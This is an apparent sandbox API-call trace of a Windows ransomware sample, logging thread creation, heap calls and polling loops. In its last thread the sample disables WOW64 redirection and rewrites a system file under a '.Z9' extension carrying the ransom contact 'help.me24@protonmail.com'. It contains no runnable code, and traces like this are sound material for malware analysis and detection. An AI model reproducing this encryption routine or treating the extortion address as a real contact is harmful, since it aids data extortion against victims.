	[0065.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x515560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0065.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x515560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0065.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e30
	[0065.166] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e30, Size=0x20) returned 0x53ea40
	[0065.166] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e30
	[0065.166] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e30, Size=0x20) returned 0x53e9a0
	[0065.186] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0065.270] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0065.270] Wow64DisableWow64FsRedirection (in: OldValue=0x284ff7c | out: OldValue=0x284ff7c*=0x0) returned 1
	[0065.270] lstrlenW (lpString="kernel32.dll") returned 12
	[0065.271] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ea40 | out: hHeap=0x500000) returned 1
	[0065.271] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0065.271] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e9a0 | out: hHeap=0x500000) returned 1
	[0065.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5466f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0065.271] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0065.425] GetTickCount () returned 0x115146f
	[0065.425] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0066.670] GetTickCount () returned 0x1151951
	[0066.670] GetTickCount () returned 0x1151951
	[0066.670] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0066.968] GetTickCount () returned 0x1151a7a
	[0066.968] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.291] GetTickCount () returned 0x1151faa
	[0068.291] GetTickCount () returned 0x1151faa
	[0068.291] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.478] GetTickCount () returned 0x1152065
	[0068.478] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.665] GetTickCount () returned 0x1152121
	[0068.665] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.984] GetTickCount () returned 0x1152259
	[0068.984] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.106] GetTickCount () returned 0x11522d6
	[0069.106] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.517] GetTickCount () returned 0x115246c
	[0069.517] GetTickCount () returned 0x115246c
	[0069.517] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.828] GetTickCount () returned 0x11525a5
	[0069.828] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.057] GetTickCount () returned 0x115268f
	[0070.057] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.308] GetTickCount () returned 0x1152789
	[0070.308] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.444] GetTickCount () returned 0x1152816
	[0070.444] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.120] GetTickCount () returned 0x1152ac5
	[0071.120] GetTickCount () returned 0x1152ac5
	[0071.120] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.289] GetTickCount () returned 0x1152b62
	[0071.289] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.428] GetTickCount () returned 0x1152bee
	[0071.428] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.349] GetTickCount () returned 0x1152f88
	[0072.349] GetTickCount () returned 0x1152f88
	[0072.349] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.912] GetTickCount () returned 0x11531bb
	[0072.912] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0073.644] GetTickCount () returned 0x1153499
	[0073.644] GetTickCount () returned 0x1153499
	[0073.644] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.258] GetTickCount () returned 0x11536fa
	[0074.258] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.617] GetTickCount () returned 0x1153862
	[0074.617] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.352] GetTickCount () returned 0x1153b40
	[0075.352] GetTickCount () returned 0x1153b40
	[0075.352] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.897] GetTickCount () returned 0x1153d63
	[0075.898] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.306] GetTickCount () returned 0x1153ef9
	[0076.306] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.941] GetTickCount () returned 0x115417a
	[0076.941] GetTickCount () returned 0x115417a
	[0076.941] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.415] GetTickCount () returned 0x115434f
	[0077.415] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.867] GetTickCount () returned 0x1154514
	[0077.867] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.425] GetTickCount () returned 0x1154746
	[0078.425] GetTickCount () returned 0x1154746
	[0078.425] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.947] GetTickCount () returned 0x115494a
	[0078.947] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0079.592] GetTickCount () returned 0x1154bcb
	[0079.592] GetTickCount () returned 0x1154bcb
	[0079.592] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0080.315] GetTickCount () returned 0x1154ea9
	[0080.315] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0080.740] GetTickCount () returned 0x115504f
	[0080.740] GetTickCount () returned 0x115504f
	[0080.740] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0081.105] GetTickCount () returned 0x11551c6
	[0081.105] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0081.732] GetTickCount () returned 0x1155437
	[0081.733] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.170] GetTickCount () returned 0x11555ec
	[0082.179] GetTickCount () returned 0x11555ec
	[0082.179] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.628] GetTickCount () returned 0x11557b1
	[0082.628] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.069] GetTickCount () returned 0x1155967
	[0083.069] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.633] GetTickCount () returned 0x1155b99
	[0083.633] GetTickCount () returned 0x1155b99
	[0083.633] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.234] GetTickCount () returned 0x1155dfb
	[0084.234] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.706] GetTickCount () returned 0x1155fc0
	[0084.707] GetTickCount () returned 0x1155fd0
	[0084.715] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.137] GetTickCount () returned 0x1156175
	[0085.137] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.819] GetTickCount () returned 0x1156425
	[0085.819] GetTickCount () returned 0x1156425
	[0085.819] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.281] GetTickCount () returned 0x11565ea
	[0086.281] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.516] GetTickCount () returned 0x11566e4
	[0086.516] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.618] GetTickCount () returned 0x1156742
	[0086.618] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0087.868] GetTickCount () returned 0x1156c24
	[0087.868] GetTickCount () returned 0x1156c24
	[0087.868] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.329] GetTickCount () returned 0x1156de9
	[0088.329] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.607] GetTickCount () returned 0x1156f02
	[0088.607] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.949] GetTickCount () returned 0x115705a
	[0088.949] GetTickCount () returned 0x115705a
	[0088.949] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0089.783] GetTickCount () returned 0x1157396
	[0089.783] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0090.264] GetTickCount () returned 0x115757a
	[0090.264] GetTickCount () returned 0x115757a
	[0090.264] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0090.718] GetTickCount () returned 0x115774f
	[0090.718] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0091.176] GetTickCount () returned 0x1157905
	[0091.176] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0091.774] GetTickCount () returned 0x1157b66
	[0091.774] GetTickCount () returned 0x1157b66
	[0091.774] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0092.206] GetTickCount () returned 0x1157d0c
	[0092.206] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0092.599] GetTickCount () returned 0x1157e93
	[0092.599] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0092.956] GetTickCount () returned 0x115800a
	[0092.956] GetTickCount () returned 0x115800a
	[0092.956] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0093.304] GetTickCount () returned 0x1158161
	[0093.304] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0093.771] GetTickCount () returned 0x1158336
	[0093.771] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0094.017] GetTickCount () returned 0x1158430
	[0094.017] GetTickCount () returned 0x1158430
	[0094.017] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0094.695] GetTickCount () returned 0x11586d0
	[0094.695] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0095.146] GetTickCount () returned 0x1158895
	[0095.146] GetTickCount () returned 0x1158895
	[0095.146] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0095.615] GetTickCount () returned 0x1158a6a
	[0095.615] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0096.093] GetTickCount () returned 0x1158c4e
	[0096.093] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0096.740] GetTickCount () returned 0x1158ecf
	[0096.740] GetTickCount () returned 0x1158ecf
	[0096.741] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0096.959] GetTickCount () returned 0x1158faa
	[0096.959] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0098.072] GetTickCount () returned 0x11593ff
	[0098.072] GetTickCount () returned 0x11593ff
	[0098.072] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0x10b8

	[0068.657] GetTickCount () returned 0x1152111
	[0068.657] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x24) returned 0x55a4b0
	[0068.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55a4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0068.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55a4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0068.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55a4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0068.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55a4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0068.659] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559380
	[0068.659] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559380, Size=0x20) returned 0x53e9a0
	[0068.659] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559380
	[0068.659] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559380, Size=0x20) returned 0x53eb30
	[0068.660] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0068.661] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0068.661] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff7c | out: OldValue=0x298ff7c*=0x0) returned 1
	[0068.661] lstrlenW (lpString="kernel32.dll") returned 12
	[0068.661] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e9a0 | out: hHeap=0x500000) returned 1
	[0068.661] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0068.661] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0068.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x58cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0068.664] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0068.984] GetTickCount () returned 0x1152259
	[0068.984] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.106] GetTickCount () returned 0x11522d6
	[0069.106] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.517] GetTickCount () returned 0x115246c
	[0069.517] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.827] GetTickCount () returned 0x11525a5
	[0069.827] GetTickCount () returned 0x11525a5
	[0069.827] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.057] GetTickCount () returned 0x115268f
	[0070.057] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.308] GetTickCount () returned 0x1152789
	[0070.309] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.444] GetTickCount () returned 0x1152816
	[0070.444] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0071.120] GetTickCount () returned 0x1152ac5
	[0071.120] GetTickCount () returned 0x1152ac5
	[0071.120] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0071.289] GetTickCount () returned 0x1152b62
	[0071.289] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0071.429] GetTickCount () returned 0x1152bee
	[0071.429] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0072.349] GetTickCount () returned 0x1152f88
	[0072.349] GetTickCount () returned 0x1152f88
	[0072.349] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0072.912] GetTickCount () returned 0x11531bb
	[0072.912] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0073.644] GetTickCount () returned 0x1153499
	[0073.644] GetTickCount () returned 0x1153499
	[0073.644] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0074.258] GetTickCount () returned 0x11536fa
	[0074.258] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0074.617] GetTickCount () returned 0x1153862
	[0074.617] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0075.352] GetTickCount () returned 0x1153b40
	[0075.352] GetTickCount () returned 0x1153b40
	[0075.352] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0075.898] GetTickCount () returned 0x1153d63
	[0075.898] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0076.305] GetTickCount () returned 0x1153ef9
	[0076.306] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0076.941] GetTickCount () returned 0x115417a
	[0076.941] GetTickCount () returned 0x115417a
	[0076.941] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0077.415] GetTickCount () returned 0x115434f
	[0077.415] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0077.867] GetTickCount () returned 0x1154514
	[0077.867] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0078.425] GetTickCount () returned 0x1154746
	[0078.425] GetTickCount () returned 0x1154746
	[0078.426] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0078.947] GetTickCount () returned 0x115494a
	[0078.947] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0079.592] GetTickCount () returned 0x1154bcb
	[0079.592] GetTickCount () returned 0x1154bcb
	[0079.592] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0080.316] GetTickCount () returned 0x1154ea9
	[0080.316] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0080.740] GetTickCount () returned 0x115504f
	[0080.740] GetTickCount () returned 0x115504f
	[0080.740] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0081.106] GetTickCount () returned 0x11551c6
	[0081.106] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0081.733] GetTickCount () returned 0x1155437
	[0081.733] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0082.169] GetTickCount () returned 0x11555dd
	[0082.169] GetTickCount () returned 0x11555dd
	[0082.169] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0082.628] GetTickCount () returned 0x11557b1
	[0082.628] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0083.069] GetTickCount () returned 0x1155967
	[0083.069] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0083.633] GetTickCount () returned 0x1155b99
	[0083.633] GetTickCount () returned 0x1155b99
	[0083.633] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0084.234] GetTickCount () returned 0x1155dfb
	[0084.234] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0084.706] GetTickCount () returned 0x1155fc0
	[0084.706] GetTickCount () returned 0x1155fc0
	[0084.706] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0085.137] GetTickCount () returned 0x1156175
	[0085.137] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0085.819] GetTickCount () returned 0x1156425
	[0085.819] GetTickCount () returned 0x1156425
	[0085.819] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0086.281] GetTickCount () returned 0x11565ea
	[0086.281] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0086.516] GetTickCount () returned 0x11566e4
	[0086.516] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0086.617] GetTickCount () returned 0x1156742
	[0086.617] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0087.868] GetTickCount () returned 0x1156c24
	[0087.868] GetTickCount () returned 0x1156c24
	[0087.868] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0088.329] GetTickCount () returned 0x1156de9
	[0088.329] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0088.607] GetTickCount () returned 0x1156f02
	[0088.607] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0088.949] GetTickCount () returned 0x115705a
	[0088.949] GetTickCount () returned 0x115705a
	[0088.949] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0089.783] GetTickCount () returned 0x1157396
	[0089.783] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0090.264] GetTickCount () returned 0x115757a
	[0090.264] GetTickCount () returned 0x115757a
	[0090.264] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0090.718] GetTickCount () returned 0x115774f
	[0090.718] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0091.176] GetTickCount () returned 0x1157905
	[0091.176] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0091.774] GetTickCount () returned 0x1157b66
	[0091.774] GetTickCount () returned 0x1157b66
	[0091.774] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0092.206] GetTickCount () returned 0x1157d0c
	[0092.206] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0092.599] GetTickCount () returned 0x1157e93
	[0092.599] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0092.956] GetTickCount () returned 0x115800a
	[0092.956] GetTickCount () returned 0x115800a
	[0092.956] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0093.304] GetTickCount () returned 0x1158161
	[0093.304] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0093.771] GetTickCount () returned 0x1158336
	[0093.771] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0094.017] GetTickCount () returned 0x1158430
	[0094.017] GetTickCount () returned 0x1158430
	[0094.017] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0094.695] GetTickCount () returned 0x11586d0
	[0094.695] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0095.146] GetTickCount () returned 0x1158895
	[0095.146] GetTickCount () returned 0x1158895
	[0095.146] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0095.615] GetTickCount () returned 0x1158a6a
	[0095.615] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0096.093] GetTickCount () returned 0x1158c4e
	[0096.093] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0096.740] GetTickCount () returned 0x1158ecf
	[0096.740] GetTickCount () returned 0x1158ecf
	[0096.740] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0096.959] GetTickCount () returned 0x1158faa
	[0096.959] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0098.072] GetTickCount () returned 0x11593ff
	[0098.072] GetTickCount () returned 0x11593ff
	[0098.072] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) 

Thread:
	id = 9
	os_tid = 0x10e8

	[0068.631] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x567720
	[0068.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x5affb8
	[0068.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5591b8
	[0068.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e298
	[0068.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559260
	[0068.632] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x2e9c020
	[0068.635] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5591d0
	[0068.635] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5591d0, Size=0x20) returned 0x53eb30
	[0068.636] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559308
	[0068.636] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559308, Size=0x20) returned 0x53eb58
	[0068.636] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0068.636] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0068.636] Wow64DisableWow64FsRedirection (in: OldValue=0x260ff50 | out: OldValue=0x260ff50*=0x0) returned 1
	[0068.636] lstrlenW (lpString="kernel32.dll") returned 12
	[0068.636] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0068.636] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0068.636] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb58 | out: hHeap=0x500000) returned 1
	[0068.636] Sleep (dwMilliseconds=0x64) 
	[0068.987] lstrcmpiW (lpString1=".ini", lpString2=".Z9") returned -1
	[0068.987] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0068.987] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.623] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=156) returned 1
	[0069.623] CloseHandle (hObject=0x300) returned 1
	[0069.623] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0069.623] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.624] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0069.624] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.624] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.624] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0069.624] GetLastError () returned 0x0
	[0069.624] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x9c, lpOverlapped=0x0) returned 1
	[0069.637] WriteFile (in: hFile=0x2fc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa0, lpOverlapped=0x0) returned 1
